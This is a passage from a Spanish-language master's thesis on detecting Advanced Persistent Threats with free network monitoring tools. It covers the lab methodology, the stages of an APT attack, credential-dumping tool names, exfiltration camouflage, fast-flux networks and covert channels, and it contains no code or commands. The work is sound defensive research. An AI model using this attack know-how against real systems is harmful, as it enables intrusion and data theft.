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Resumen

Estudio sobre el contexto y caracteristicas de las Amenazas Persistentes Avanzadas (APT), asi
como del uso de herramientas de carécter libre para detectarlas. Se busca profundizar en el
conocimiento de las APT, haciendo especial hincapié en los canales encubiertos y en las
herramientas utilizadas en sus ataques, asi como evaluar la existencia de herramientas del tipo
monitorizacion de seguridad de red (NSM) y gestion de informacion y eventos de seguridad
(SIEM) de caracter libre para la deteccion de APT de manera eficaz, con la intencidén de por
un lado apoyar la mejora de la ciberseguridad en las organizaciones, y por otro lado que esta
mejora no suponga un coste que lleve a los responsables a frenar su implantacion.

Palabras Clave: APT, Canal Encubierto, Software Libre, NSM.

Abstract

Study on the context and characteristics of the Advanced Persistent Threats (APT) and the use
of free software tools to detect them. It is the author’s goal to deepen in the subject of the
APT, focusing on covert-channels and the tools used in the attacks, as well as assessing the
existence of Free Software tools for network security monitoring (NSM) and security
information and event management (SIEM) for detecting APT effectively, in order to one
support an improvement in organizations cibersecurity avoiding high costs slowing down
their implementation.

Keywords: APT, Covert Channel, Free Software, NSM.
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1. INTRODUCCION

1.1.Motivacién
Las Amenazas Persistentes Avanzadas (APT) tienen ya una larga historia como amenazas
de facto para la sociedad, bien sea afectando a empresas, a infraestructuras criticas, o a la

privacidad y seguridad de las personas.

Desde el punto de vista de la motivacién personal, me ha parecido de gran interés el
ahondar en la lucha contra dichas amenazas ya que si bien por ahora solo se han traducido
en pérdidas econdmicas o de privacidad, pueden terminar por producir dafios personales e
incluso pérdidas de vidas si dichas amenazas llevan a cabo ataques contra infraestructuras
criticas, bien sea una presa, una central nuclear o una planta de tratamiento de aguas con el

objetivo de ocasionar un desastre.

Desde el punto de vista de la motivacion profesional, éste es un tema de gran recorrido a
la par que interesante. Por un lado, las APT son un fendmeno complejo, dinamico por su
constante evolucion en el tiempo y adaptabilidad, y que requerira de su estudio continuo por
parte de los profesionales de la ciberseguridad, asi como la continua evolucién de los
métodos y herramientas utilizados por éstos, lo cual conllevara ademas el hecho de que
sera un campo en el que se necesitaran mas y mas profesionales de manera continua,
abriendo asi una oportunidad laboral. Por otro lado, las caracteristicas anteriormente
mencionadas junto con el hecho de toda la tecnologia y tipo de instalaciones afectadas o
involucradas con un gran componente tecnolégico involucrado (centrales generadoras de
energia de distinto tipo, infraestructuras de transporte, industrias...), hacen que sea un tema

muy interesante a nivel intelectual.

1.2. Planteamiento de trabajo
1.2.1 Metodologia

La metodologia que se seguira para la realizacion del presente Trabajo de Fin de Master
(TFM) constara de tres fases generales:

1. Estudio del estado del arte.

2. Creacion del entorno de trabajo o laboratorio.

3. Prueba de Concepto o Proof of Concept (PoC).

Deteccién de APT con herramientas de seguridad de caracter libre 8
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La primera fase, el estudio del contexto y estado del arte, tiene como objetivo el de
alcanzar un dominio en la materia suficiente como para lograr los objetivos planteados en
este TFM. Por ello, las etapas seguidas para adquirir dicho dominio consistiran en los
distintos aspectos que conforman, describen y contextualizan las APT:
1. Descripcion de las APT.
Caracteristicas técnicas de las APT.
Historia de las APT.
Herramientas APT.
Grupos de atacantes conocidos.
Grupos gubernamentales.
Empresas.
Deteccion de APT

Herramientas de caracter libre para deteccion de APT.

© ® N o 0 A~ WD

La segunda fase, de creacion del laboratorio, sera aquella en la cual se decidira el dénde,
el como y el qué, es decir, el software y sistema que utilizaremos como entorno de pruebas,

los procedimientos a seguir, y el malware cuyo funcionamiento analizar.

La ultima fase, de PoC,sera aquella en la que llevaremos a cabo el analisis del
funcionamiento del distinto malware considerado para este TFM, englobado dentro de las

herramientas APT.

1.2.2 Objetivos

El objetivo general que se ha establecido para este TFM consiste en aportar una mejora a
la situacion actual en la lucha contra las APT. Este objetivo general, viene definido por unos
objetivos especificos que definen de una manera mas precisa lo que se pretende lograr con
la realizacion del presente TFM. A continuacion se enumeran dichos objetivos especificos:

1. Realizar el estudio del arte sobre las APT, identificando y comprendiendo sus

caracteristicas, asi como su contexto e historia.
2. Identificar y estudiar las metodologias de un ataque APT.
3. Identificar y estudiar de las metodologias de deteccién de APT

4. ldentificar los distintos actores en el escenario de las APT.

Deteccién de APT con herramientas de seguridad de caracter libre 9
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5. ldentificar y analizar las herramientas de caracter libre que sean Utiles para la
deteccion de ataques APT.

6. Implementar un entorno de prueba que nos permita simular un entorno real para
comprobar el funcionamiento tanto de las herramientas APT como de las
herramientas de caracter libre para deteccion de APT.

7. Buscar una deteccion lo mas eficaz y eficiente posible.

8. Identificar y analizar tendencias futuras en el campo de las APT.

1.3.Estructura del trabajo

El presente trabajo se desarrolla con una estructura tipo introduccién-cuerpo-desenlace con
la intencién de que por un lado su lectura sea cobmoda, por otro lado genere interés en el
lector, ademas de lograr que los conceptos sean introducidos en el momento adecuado y
con la profundidad adecuada para que el lector no se vea ni abrumado por una cantidad

excesiva de informacion no necesaria en el apartado, ni desubicado por la falta de de ésta.

Para comenzar, se pondra en contexto técnico al lector, llevando a cabo primeramente la
descripcion de las APT con sus caracteristicas técnicas, para pasar a continuacion al
contexto histérico-social. Después de poner al lector en contexto, tanto técnico como
histérico, se pasara a exponer las herramientas, metodologias y actores principales en el
campo de las APT. A mayores seran mencionados grupos gubernamentales que luchan
contra estas amenazas, asi como empresas que se dedican al desarrollo de herramientas
para proteccion de sistemas. Finalmente se enumeraran y describiran las técnicas de

deteccidon de APT y las herramientas de caracter libre que nos permitiran detectarlas.

Como “cuerpo” del TFM tendremos en primer lugar la descripcion de los objetivos y la
metodologia del trabajo, que indicaran y describiran el Por qué, el Cémo y el Donde qué. A
continuacioén, tendremos el desarrollo especifico, es decir, una descripcion detallada del

experimento, la presentacion de los resultados y la discusion sobre éstos.
Para finalizar, se mostrara un analisis personal sobre el TFM realizado, se mencionaran las

contribuciones de dicho trabajo al estado del arte, y ya como broche final se comentaran

posibles lineas de trabajo futuro.
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A continuacién se enumeran y describen los distintos capitulos de que consta el
documento:

1 Introduccion

1.1 Motivacion

En este apartado se comentara la razén de por qué se ha elegido el tema tratado

en el TFM, por qué creo que es un tema interesante a tratar y qué creo que
puedo aportar.

1.2 Planteamiento del trabajo
Aqui se llevara a cabo una introduccion al TFM, haciendo un breve resumen de
cémo se afrontara la busqueda de una solucién para el problema y qué objetivos
se esperan cumplir al terminar la investigacion.

1.3 Estructura del trabajo
En esta parte se hara una breve narrativa de como transcurriran los siguientes

capitulos, introduciendo asi un resumen del transcurrir de este documento.
2 Contexto y estado del arte

2.1 Descripcién de las APT
En este apartado se llevara a cabo una introduccion a las Amenazas Persistentes
Avanzadas, describiéndolas, comentando la situacion actual, y en resumen,
estableciendo el contexto de este TFM.

2.2 Caracteristicas técnicas de las APT
En este apartado se abordara de una manera mas técnica y detallada las
caracteristicas de los ataques de tipo APT.
2.2.1 Metodologia de un ataque
2.2.2 Covert Channel

2.3 Historia de las APT - Noticias — Ataques conocidos
Para dar un contexto a este TFM, se llevara a cabo en este apartado un resumen

sobre la historia de las APT, aportando noticias que han protagonizado, ataques
conocidos, etc.

2.4 Herramientas APT
Ya que este trabajo trata de como detectar las APT, es importante comentar qué
herramientas existen hoy en dia para lidiar con ellas, nombrando no solo las

utilizadas en este proyecto, que seran de caracter libre, sino también las de
caracter comercial.
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2.5 Grupos de atacantes conocidos
Con la intencidon de completar el contexto sobre las APT, se comentara qué
grupos conocidos existen de atacantes, desde departamento gubernamentales
hasta grupos de delincuencia organizada.
2.6 Grupos gubernamentales y empresas relacionados con las APT
En este apartado se nombraran y describiran las distintas agencias
gubernamentales y grupos de trabajo que existen en el ambito de la
ciberdefensa, asi como empresas dedicadas a esta misma cuestion.
2.7 Deteccion de APT
Este sera el apartado en el cual se describiran las distintas metodologias o
técnicas existentes para detectar los ataques de tipo APT.
2.7.1 Reglas
2.7.2 Métodos estadisticos y de correlacion.
2.7.3 Aproximaciones manuales
2.7.4 Bloqueo automatico de exfiltracion de informacion
2.8 Herramientas de caracter libre para deteccion de APT
Aqui se comentaran las herramientas de caracter libre que se utilizaran en el
experimento, describiéndolas de una manera mas pormenorizada que en el caso
del apartado 2.3.
3 Objetivos y metodologia del trabajo
3.1 Objetivo general
En este apartado se explicara cual es el objetivo primordial que se busca
alcanzar con el desarrollo de este TFM.
3.2 Objetivos especificos
Se explicaran los distintos pasos que nos ayudaran a lograr el objetivo general.
3.3 Metodologia del trabajo
Aqui se explicara a grandes rasgos qué pasos se seguiran para llegar hasta el
objetivo general, haciendo una descripcion breve de los pasos y del entorno de
trabajo.
4 Desarrollo especifico de la contribucion
4.1 Descripcion detallada del experimento
En este apartado se detallara qué tecnologias se han utilizado, describiéndolas y
justificando el por qué de su uso, como se organizé el piloto, como se llevé a

cabo el experimento, y qué tipo de analisis estadisticos se empled.
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4.2 Presentacion de los resultados
En este capitulo se detallaran los resultados obtenidos, y se transformaran en
graficos y tablas que permitan tener una referencia clara y una comprension
rapida del producto del experimento.

4.3 Discusion de los resultados
Este sera el apartado en el cual se valoraran los resultados obtenidos en el
experimento, aportando una justificacion del producto, una explicaciéon para los
distintos datos obtenidos resaltando aquellos que sean relevantes, para
finalmente explicar la relevancia de los resultados.

5 Conclusiones y trabajo futuro

5.1 Analisis sobre el TFM
Se llevara a cabo un resumen del problema tratado y de qué se ha obtenido
como producto.

5.2 Contribuciones del trabajo
En este capitulo se comentara qué aporta el producto obtenido a la situacion
actual de las APT, y se llevara a cabo un andlisis o relacion sobre el objetivo y
inicial y los resultados obtenidos finalmente.

5.3 Lineas de trabajo futuro
En esta parte final del TFM se llevara a cabo una valoracion de como podria

seguir investigandose en este campo a partir de los resultados obtenidos asi

como de qué usos tendria el producto obtenido herramienta en un entorno real de

operacion.

Deteccién de APT con herramientas de seguridad de caracter libre
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2. OBJETIVOS Y METODOLOGIA DE TRABAJO
2.1.0Objetivo general

El objetivo general establecido para este TFM consiste en contribuir a la mejora en la
lucha contra las APT, y esto sera llevado a cabo mediante la consecucién de unos
objetivos especificos que pretenden por un lado analizar las APT, y por otro conseguir la
implementacién eficaz y eficiente de un sistema que, constituido por herramientas de
seguridad de caracter libre de modo que sea asequible para cualquier organizacion, nos

permita detectar ataques APT.

2.2.Objetivos especificos

Los pasos que se seguiran para poder cumplir con el objetivo general seran aquellos que
nos permitan llevar a cabo un analisis pormenorizado del estado del arte para comprender
en profundidad el problema, y asi poder después establecer una metodologia para luchar

eficazmente contra él.

Los objetivos especificos establecidos para este TFM son los siguientes:
1. Realizar el estudio del arte sobre las APT, identificando y comprendiendo sus
caracteristicas, asi como su contexto e historia.
Identificar y estudiar las metodologias de un ataque APT.
Identificar y estudiar de las metodologias de detecciéon de APT

Identificar los distintos actores en el escenario de las APT.

A I

Identificar y analizar las herramientas de caracter libre que sean Utiles para la

deteccion de ataques APT.

6. Implementar un entorno de prueba que nos permita simular un entorno real para
comprobar el funcionamiento tanto de las herramientas APT como de las
herramientas de caracter libre para deteccion de APT.

7. Buscar una deteccion lo mas eficaz y eficiente posible.

8. Identificar y analizar tendencias futuras en el campo de las APT.
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2.3.Metodologia del trabajo

Para llevar a cabo este trabajo, la metodologia a seguir consiste en acercarse al objetivo
general por dos flancos diferentes: por un lado la busqueda de informacion o estudio del
estado del arte, y por otro lado, y ya que es una trabajo experimental, la implementacion de

un entorno controlado de pruebas y la realizacion de éstas.

Estudio del Estado del Arte
Para la realizacién de cualquier proyecto de una manera correcta hay que comenzar por el
estudio del arte, y este se puede dividir en las siguientes etapas:
1. Desarrollo de la estructura del documento.
Busqueda de fuentes de informacion.
Busqueda de informacién.

Lectura y analisis de la informacion.

a ~ w DN

Redaccioén del documento.

Una vez llevadas estas tareas a cabo, se procedera al disefio del entorno de pruebas, el
cual vendra dado por la necesidad de reproducir en un entorno controlado la situacion

tratada, es decir, una APT.

Implementacion del Entorno de Pruebas
En lo relativo a la implementacion del entorno de pruebas, se tienen que abordar dos puntos
diferentes: la estructura o configuracion de la red, y la configuracion de los equipos de la red.
* Estructura de la red:
La estructura de la red elegida para implementar el entorno de pruebas sera aquella
que integre todos los elementos necesarios para llevar a cabo el experimento,
evitando cualquiera que no sea explicitamente necesario, para evitar asi errores, e
informacién en los analisis no necesaria que pueda desviar la atencion de lo
realmente importante. Ademas, debera ser un entorno aislado de otras redes de
modo que se asegure la no propagacion del malware o sus efectos.
* Configuracion de los equipos de la red:

Los equipos de los que constara la red seran aquellos que representen:
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o Atacante: Sera el equipo que represente al atacante que implanta el malware en
el equipo victima y que actua como C&C para la conexion remota del malware a
través de un canal encubierto.

o Victima: Entendido como el equipo de usuario infectado por el malware y desde
el que se produce la exfiltracion de informacion.

o Monitorizacion: Este sera el equipo que lleve a cabo la monitorizacion y analisis
de la red, utilizado para detectar posibles amenazas, en este caso un ataque
APT.

Los pasos a seguir para la implementar el entorno de pruebas seran:
1. Elegir el software de virtualizacion.
2. Determinar la configuracion del software de virtualizacion.
a) Configuracién de Red.
b) Configuracion de las maquinas virtuales.
3. Elegir el software para los siguientes equipos:
a) Victima.
b) Atacante.
¢) Monitorizacion y andlisis de Red.
Determinar la configuracion adecuada de los equipos para las pruebas.
Determinar el malware RAT a utilizar para simular el ataque APT.
Instalar el software de virtualizacién.
Configurar el software de virtualizacion.

Crear las maquinas virtuales con los Sistemas Operativos elegidos.

© ® N o o A

Configurar los equipos.

Metodologia de Realizaciéon de las Pruebas
Una vez implementado el entorno de pruebas, es hora de llevar a cabo el experimento. Para
ello, se han de seguir unas pautas que permitan llevar a cabo un ciclo continuo de pruebas

objetivas en las que obtener resultados fiables.

Las etapas a seguir para la realizacién de las pruebas es la siguiente:
1. Entorno de trabajo sin malware.
(1) Simular un entorno de funcionamiento normal, en el cual no se produce un
ataque APT.
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(2) Analizar la actividad de la red.
(3) Establecer los indicadores base.

2. Determinar el tipo de ataque a realizar y el malware-RAT a utilizar.
Entorno de trabajo con malware.

1) Determinar el malware-RAT a instalar en el equipo victima.

2) Instalar el malware-RAT en el equipo victima.

3) Configurar el malware para que se produzca la comunicacion con el atacante.

5

6) Mediante el software de monitorizacion y analisis de red:

Realizar la extraccion de la informacion.

(
(
(
(
(
(

)
)
4) Seleccionar los archivos a extraer.
)
)

1. Analizar la variacién de los valores de monitorizacién con respecto a los
indicadores base establecidos.
2. Analizar la respuesta del sistema de monitorizacion y analisis para averiguar
si es capaz de detectar el ataque.
3. Captar el trafico de red para su posterior analisis.
(7) Parar el funcionamiento del malware.
Evaluar los resultados de la prueba.
Realizar las modificaciones pertinentes en el software de monitorizacion y andlisis de
red para mejorar la eficiencia y eficacia de la deteccion.
6. Repetir los pasos 3.2 a 5 hasta que no se consiga mejorar la capacidad de deteccién

del ataque APT por parte del software de monitorizacion y analisis de red.
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3. CONTEXTO Y ESTADO DEL ARTE
3.1.Descripcion de las APT

Las Advanced Persistent Threat (APT), o Amenazas Persistentes Avanzadas, constituyen
uno de los desafios de seguridad mas importantes y peligrosos que deben afrontar hoy en
dia las organizaciones, y consisten en ataques de red de elevada sofisticacion en los que
una persona o ente con amplios recursos consigue acceso a una red o sistema y permanece
sin ser detectado durante un largo periodo de tiempo. Aprovechan para acceder a su
objetivo la falta de concienciacion de los usuarios y ponen en juego también las debilidades
TIC (defectos conocidos, implementaciones inadecuadas, vulnerabilidades zero-day, codigo
malicioso de disefo especifico...) y las de las arquitecturas de seguridad (Mariscal Fragoso,
C., Candau Romero, J., Septiembre 2014). Tienen por finalidad conseguir acceso a
sistemas de diversa indole, mantener el acceso para un futuro uso y control, y obtener
informacion del objetivo, y/o modificarla con la intencién de llevar a cabo un sabotaje, o un
ataque de “consecuencias fisicas” (entendiendo éstas como la averia de maquinaria,

provocar victimas, etc).

Bejtlich (2007) explica los componentes de la terminologia:
* Avanzada (Advanced): significa que el adversario esta versado en herramientas y
técnicas de intrusion informatica y es capaz de desarrollar exploits personalizados.
* Persistente (Persistent): significa que el adversario intenta cumplir una mision.
Recibe una directivas y trabaja con metas especificas.
* Amenaza (Threat): significa que el adversario esta organizado, financiado y

motivado.

Las acciones APT suelen tener como origen gobiernos o empresas, que haciendo uso de
grandes recursos, llevan a cabo operaciones de inteligencia y/o sabotaje contra otras
organizaciones, bien sea por motivos econémicos (perjudicar a la competencia, robar
informacioén confidencial para obtener una ventaja competitiva...) o de seguridad nacional
(obtener informacion sobre el enemigo, tecnologias militares avanzadas,

vulnerabilidades...).
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Los objetivos tipicos de las APT suelen ser politicos (provocar desestabilizacion o
desorganizacion, debilitar misiones diplomaticas...), econémicos (robo de propiedad
intelectual...), técnicos (credenciales, codigo fuente...) o militares (identificacion de
vulnerabilidades, robo de informacién sobre seguridad nacional...), siendo las victimas
habituales organizaciones en sectores con informacién de alto valor, tal como defensa

nacional, manufactura, industria financiera...

The Anatomy of an Advanced Persistent Threat (Cutler, 2010) describe la estrategia APT
tipica:
1. El atacante consigue acceso en el sistema victima mediante ingenieria social y
malware.
2. El atacante abre una terminal de la shell del sistema victima para averiguar si el
sistema tiene mapeado algun disco en red.
3. El que el sistema victima tenga un disco mapeado en red dara pie al atacante a
iniciar un escaneo de puertos desde el sistema victima.
4. El atacante identifica por consiguiente puertos abiertos, servicios corriendo en otros
sistemas y segmentos de red.
5. Una vez mapeada la red, el atacante se enfoca hacia victimas VIP con activos de

elevado valor a su disposicion.

3.2.Caracteristicas técnicas de las APT
Las Amenazas Persistentes Avanzadas o APT poseen unas caracteristicas técnicas que las
definen, y que vienen dadas por las necesidades del tipo de atacante que se esconde tras

ellas.

A continuacién se enumera muestra de dichas caracteristicas son:
* Uso de ingenieria social para lograr acceso al sistema bien sea a través de
credenciales o mediante la infeccion del sistema con malware.
* Se hace uso de herramientas/malware del tipo Remote Administration Tool (RAT).
* El malware ha sido personalizado para que se adapte mejor a la/s victimal/s.
* Hacen uso de vulnerabilidades de dia-cero para atacar a las organizaciones

objetivo.

Deteccién de APT con herramientas de seguridad de caracter libre 19



Master Universitario en Seguridad Informatica Luis Besteiro Calvo

* Cuando se habla de ataques de APT se habla de organizacién, premeditacién,
persistencia, sofisticacion y novedad.

e Capacidad de pasar desapercibidas.

* Movimiento lateral o pivotaje del malware para evitar ser detectado y acceder a
NUEvVoS recursos.

* Se produce extraccion de la informacion.

* Hay un centro de mando y control (C&C) que monitoriza y extrae la informacion de

la victima.

El ciclo de vida de una APT es elevado, de hecho “persistente” es una de las
caracteristicas intrinsecas de las APT. A continuacién se muestra una comparativa entre el

ciclo de vida de una APT y otras ciberamenazas:

Cover tracks
and remain
undetected

Exfiltrate
data

Strengthen

At Commodity Build or

Threats acquire tools

Advanced

Persistent

Expand access Threat
and obtain

Research target
credentials "Hactivism’ infrastructure/
employees

Outbound
connection Test for
initiated detection

Deployment

Figura 1: Diagrama que describe el ciclo de vida por fases de los distintos tipos de amenazas
informaticas, entre las que se encuentran las APT.

Imagen recuperada de
https.//commons.wikimedia.org/wiki/File:Advanced_persistent threat lifecycle jpg
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A continuacion se muestra una tabla comparativa entre los tres tipos de ataques mostrados

en la figura anterior:

Tabla 1: Comparativa entre tipos de ataques.

APT

Amenaza Avanzada

Hacktivismo

Seleccion del
objetivo

Objetivo especifico

Aleatorio

Objetivo especifico

Motivacion

Financiera, espionaje,
robo de propiedad
intelectual, obtener

control de una
infraestructura critica,

Ganancia financiera

Politica: libertad de
expresion, derechos
humanos, promocion

de una ideologia
determinada, protesta
contra una situacion
determinada, contra

Vectores de

sabotaje
una empresa,
gobierno...
Combinacion de
multiples vectores de
ataque y herramientas.
Herramientas
Troyanos Troyanos
desarrolladas

especificamente para

Vulnerabilidades “zero-

Vulnerabilidades

ataque el ataque. day” “zero-day”
.Tec'?'cas _de Exploits conocidos Exploits conocidos
inteligencia.
Intervencion telefénica.
Robo fisico.
Técnicas de
Aun si se detectan y se Técnicas de virtualizacion.
corrigen los nodos virtualizacién.
infectados en una red, Parches de
es muy posible que los Parches de vulnerabilidades.
s e atacantes tengan vulnerabilidades.
olucién : . .
planes de contingencia Sistemas de
y nodos redundantes Sistemas de autenticacion
que les permitan autenticacion robustos. robustos.
continuar sus
operacion. Software antimalware. Software
antimalware.
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3.2.1 Metodologia de un ataque

Podemos decir que las etapas en que se divide un ataque son las siguientes:

1.

Seleccioén de la victima.

La primera etapa de cualquier ataque APT consiste en escoger la victima, sea ésta
una organizacion, un personaje publico, etc. Algunos atacantes escogen primero la
victima y luego llevan a cabo un trabajo de recoleccién de informacion sobre dicha
victima como por ejemplo buscando curriculums de los empleados, informacién en la
red sobre la compafia, software y dispositivos utilizados y sus vulnerabilidades...
Otros atacantes crean primero el malware, y luego buscan victimas accidentales.
Recoleccién de informacion.

Los atacantes llevan a cabo un estudio minucioso sobre la victima con la intencion
de crear un perfil sobre los sistemas utilizados, posibles vulnerabilidades, etc. Para
llevar a cabo esta fase se utilizaran técnicas de footprinting, phishing, fingerprinting.
Infeccién.

Las APT suelen utilizar diversas vias de entrada para acceder a la organizacion
objetivo. Una vez analizados los datos adquiridos en el paso anterior, escogeran el
mejor vector de ataque con el que puedan conseguir su objetivo. Se distinguen
cuatro grandes grupos de vias de infeccion en las campafias APT: infeccién por
malware, medios fisicos, exploits y Web-based attacks.

El vector mas comun de ataque observado suele ser el de envio de correos
electrénicos maliciosos dirigidos (Spear-phishing Attacks) usando técnicas de
ingenieria social, normalmente combinandolos con exploits 0-day, URLs o
documentos maliciosos anexados.

Escalada de privilegios.

En un comienzo, el atacante recolecta credenciales de acceso de los usuarios o
dispositivos comprometidos (usuario, dominio, contrasefa, cuentas...). A
continuacion, se lleva a cabo el escalado de privilegios en usuarios no
administradores dentro de los sistemas objetivo para, de seguido, hacer lo mismo
pero en objetivos de alto valor, como expertos de procesos, administradores de IT,
servidores...

Para conseguir las credenciales de identificacion, los atacantes recurren a
keyloggers, ARP spoofing, y herramientas de acceso o “hooking tools”. Una muestra

de herramientas utilizadas para obtener credenciales: Pwdump, Windows Credential
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Editor, Mapiget, Lslsass, Gsecdump y CacheDump. Otras técnicas para hacerse con
las credenciales serian los ataques de fuerza bruta y de diccionario.

5. Comunicacién con el centro de mando y control.
Una vez dentro de la organizacion objetivo, las APTs son habitualmente dirigidas de
manera remota, via comunicaciones de “mando y control” (C&C) entre los sistemas
infiltrados y los propios atacantes. Este canal de comunicacion sera utilizado para
abrir y manipular puertas traseras de acceso a la red para descubrir y exfiltrar la
informacion deseada.

6. Pivoting o movimiento lateral.
Es un proceso que consiste en que cuando un atacante compromete un sistema, usa
dicho sistema para explorar otros sistemas dentro de la misma red, para
posteriormente infectarlos y conseguir sobrepasar el perimetro de seguridad.

7. Descubrimiento de activos y persistencia.
Diversas técnicas como el escaneo de puertos y el analisis de red son usadas para
identificar servidores valiosos y servicios que alojan informacién de interés. Ademas,
el escaneo de puertos también es utilizado para poder crear una conexién tunelizada
entre el sistema comprometido y el sistema atacante, y asi poder evadir el firewall.

8. Exfiltracion de la informacion.
Consiste en la transferencia no autorizada de informacién sensible del sistema
objetivo al sistema externo controlado por los atacantes. Normalmente, después de
descubrir la informacién de interés, la APT reune la informacién en un archivo y luego
lo comprime y cifra, para asi mantenerlo oculto de los analisis profundos de paquetes
y de las técnicas de prevencion de pérdida de informacién. Una vez realizado esto, el
siguiente paso consistira en la extraccion de la informacion del sistema victima.
Con la intencién de que el trafico exfiltrado no levante sospechas en los sistemas de
seguridad, éste se “camufla” mediante distintas técnicas como la esteganografia, la
compresion y el cifrado acompafados de su troceado.
Las herramientas utilizadas son copiadas en las maquinas infectadas y en muchas
ocasiones, posteriormente eliminadas para no dejar rastro.

9. Encubrimiento de las huellas.
Una vez que el o los atacantes han cumplido con su cometido, buscaran no dejar

ninguna huella que dé pistas sobre sus operaciones encubiertas.
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En la siguiente imagen podemos ver una representaciéon de las distintas etapas del ataque:

Move
Laterally

- . Internal
Initial Initial Establish Escalate Recon Complete

Recon Compromise Foothold Privileges Mission

Figura 2: Modelo Mandiant del ciclo de vida de una APT.
(Mandiant, 2013)

A continuacién, se muestra una representacion mas grafica del ataque APT:

ntelligence

Gathering

-
L n -

Figura 3: llustracion de una operacion APT.

Recuperada de http://resources.infosecinstitute.com/anatomy-of-an-apt-attack-step-by-step-approach/
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Una vez que el atacante obtiene la informacién, entonces lleva a cabo diversas actividades
criminales como:

*  Vender la informacién.

* Coaccionar a través de la amenaza de la revelacion publica de la informacion.

* Pedir a la victima que pague un rescate.

A continuacién se describen en mayor profundidad algunas de las etapas del ataque.

3.2.2 Exfiltracion de la informacion
A continuacion se describen dos técnicas caracteristicas de la exfiltracion de informaciéon en

APT y cuya comprension es de vital importancia para poder detectar estos ataques.

3.2.2.1 Redes Fast-Flux
La técnica fast-flux es utilizada cuando el atacante desea dificultar el sequimiento de la

exfiltracion de la informacién (Binde, McRee, O'Connor, 2011).

Las redes fast-flux han sido documentadas por el Honeynet Project en Know Your Enemy:
Fast-Flux Services Networks [HoneyNet Project, 2007]: “La meta de la técnica fast-flux es,

para un dominio dado (tal como www.ejemplo.com), tener multiples (cientos o incluso miles)

direcciones IP asignadas. Estas direcciones IP son intercambiadas para el flujo de datos con
mucha frecuencia, utilizando una combinacion de direcciones IP de round-robin y un Time-
To-Live (TTL) muy bajo para cualquier DNS Resource Record (RR). Los nombres de sitios
web pueden llegar a estar asociados con un nuevo grupo de direcciones IP con una
periodicidad de 3 minutos. De hecho, un navegador que estuviera conectandose al mismo
sitio web cada 3 minutos, estaria realmente conectandose a una computadora infectada
diferente cada vez. Ademas, los atacantes se aseguran de que los sistemas comprometidos
que estan utilizando tengan los mejores ancho de banda y disponibilidad del servicio

posibles.”
En resumen, las redes Fast-Flux son redes formadas por equipos comprometidos a los que

apuntan los registros DNS de un determinado dominio, y actuan como proxy entre los

clientes y los servidores donde se almacena el contenido.
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Tipos de Redes Fast-Flux

Luis Besteiro Calvo

Dentro de este tipo de redes tenemos dos tipos: single-flux y double-flux:

* Redes Single-flux:

Cuando una victima intenta acceder a un determinado dominio, la respuesta del DNS

se corresponde con una direccion IP de los equipos infectados, los cuales varian

continuamente, capturando la peticion del cliente y siendo ellos quienes negocien

con el servidor donde se aloja el contenido.

Normal Network

www.example.com

(i

(=TT ]

Host: www.example.com

ay
&

client

1) Response content

Fast-Flux Network

2)
GET redirected

s & Response
2 returned
"mothership”

zombie .
home flux example com
PC \

/ )

1) Response content
Host: flux. example.com

HTTP GET/ r"

client

Web Request Comparison

Figura 4: Comparativa entre funcionamiento de una red normal y una red Fast-Flux.

Recuperado de hitp.//www.honeynet.org/node/134

¢ Redes Double-flux:

Mantienen el concepto de las single-flux pero afiadiendo una capa mas de

redundancia. En este tipo de implementaciones, ademas de variar los registros A del

DNS para que un mismo dominio resuelva direcciones IP diferentes, también varian

los registros NS correspondientes a los servidores DNS autorizados. Por lo tanto, en

este caso, las peticiones DNS de las victimas son respondidas directamente por la

red Fast-Flux.
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Single-Flux Double-Flux 4) query
redirected &
Response
“bullet-proof” hosted emme'd
DNS server - molhershnp _zombie
hr)m{,
ns.example.com ns.example.com
4) Answer: 5) Answer:
10.10.10.10 10101010
3) Query: 3) Query:
flux.example.com flux.example.com
IO com T
2) Referral: 2) Referral:
ns.example.com ns.example.com
1) Query: 1) Query:
flux.example.com flux.ex ample Com
1“‘""""-—._.
client client
DNS Resolution Comparison

Figura 5: Comparativa entre Single-Flux y Double-Flux.

Recuperado de http://www.honeynet.org/node/136

Ventajas que obtienen los atacantes

A continuaciéon se nombran las ventajas que obtienen los atacantes mediante el uso de este

tipo de arquitecturas:

Simplicidad: Los atacantes necesitaran menos infraestructura, ademas de ahorrar
tiempo en mantenimiento, ya que antes sus servidores centrales estaban en “primera
linea” y eran facilmente identificables, con lo que necesitaban grandes recursos si
querian persistir.

Proteccién ante investigaciones: Al existir una o varias capas mas de conexién es

dificil rastrear las huellas y llegar a los servidores centrales. A esto se le suma que
habitualmente los equipos infectados se encuentran repartidos por multitud de paises
con jurisprudencias diferentes y configurados con las auditorias desactivadas para
no dejar evidencias.

Extensién de la vida util de la estafa: El dinamismo de la red, unido a las diferentes
capas de conexionado tras las que se ocultan los servidores centrales donde se aloja
el contenido, hacen que todo el proceso de identificacion y corte del servicio sea

mucho mas costoso y por tanto mucho mas largo.
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3.2.2.2 Covert Channel

Se conoce como covert channel, o canal encubierto, a un canal que puede ser utilizado para
transferir informacion desde un sistema a otro, utilizando medios no destinados para este
propdsito por los desarrolladores del sistema. Normalmente, para que la comunicacion sea
posible, suele ser necesario un preacuerdo entre el emisor y el receptor, para que asi el
mensaje sea codificado de una manera que el receptor sea capaz de interpretar y/o

localizar.

Este concepto fue introducido en 1973 por Butler W. Lampson cuando estaba examinando el
problema de mantener secreta la informacién de un proceso para otro en un sistema con
seguridad multinivel (problema de confinamiento). Asi, el autor introduce el concepto de
covert channel para identificar los “canales que un proceso tiene disponibles para transmitir
informacién, a pesar de no haber sido éstos diseriados para ese propdsito”. A partir de esta
definicion, el Departamento de Defensa de los Estados Unidos (DoD) define los covert
channels en su TCSEC (también conocido como “libro naranja”) como “cualquier canal de
comunicacién que puede ser explotado por un proceso para transferir informacion de forma

que viole la politica de seguridad del sistema’.

Figura 6: TCSEC (también conocido como “libro naranja”).

Recuperado de https://commons.wikimedia.org/wiki/File: Orange-book-small. PNG
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Posteriores definiciones como la del Common Criteria, “un canal de sefalizacién forzado e
ilicito que permite a un usuario contravenir subrepticiamente la politica de seguridad
multinivel y requisitos de no-obserbabilidad del sistema” y el “Handbook for the Computer
Security Certification of Trusted System” del Laboratorio de Investigacion Naval de los
Estados Unidos muestran que con el paso del tiempo el concepto ha ido evolucionando
desde el ambito de los sistemas operativos y el problema del confinamiento de los procesos
hasta abarcar cualquier tipo de comunicacion entre entidades que utilizan canales que no

han sido disefiados para ser utilizados como canal de comunicacion.

Clasificacion de los canales encubiertos
Los canales encubiertos se clasifican habitualmente segun el mecanismo de ocultacién en:

canales de almacenamiento (Covert Storage Channel), canales de temporizacion
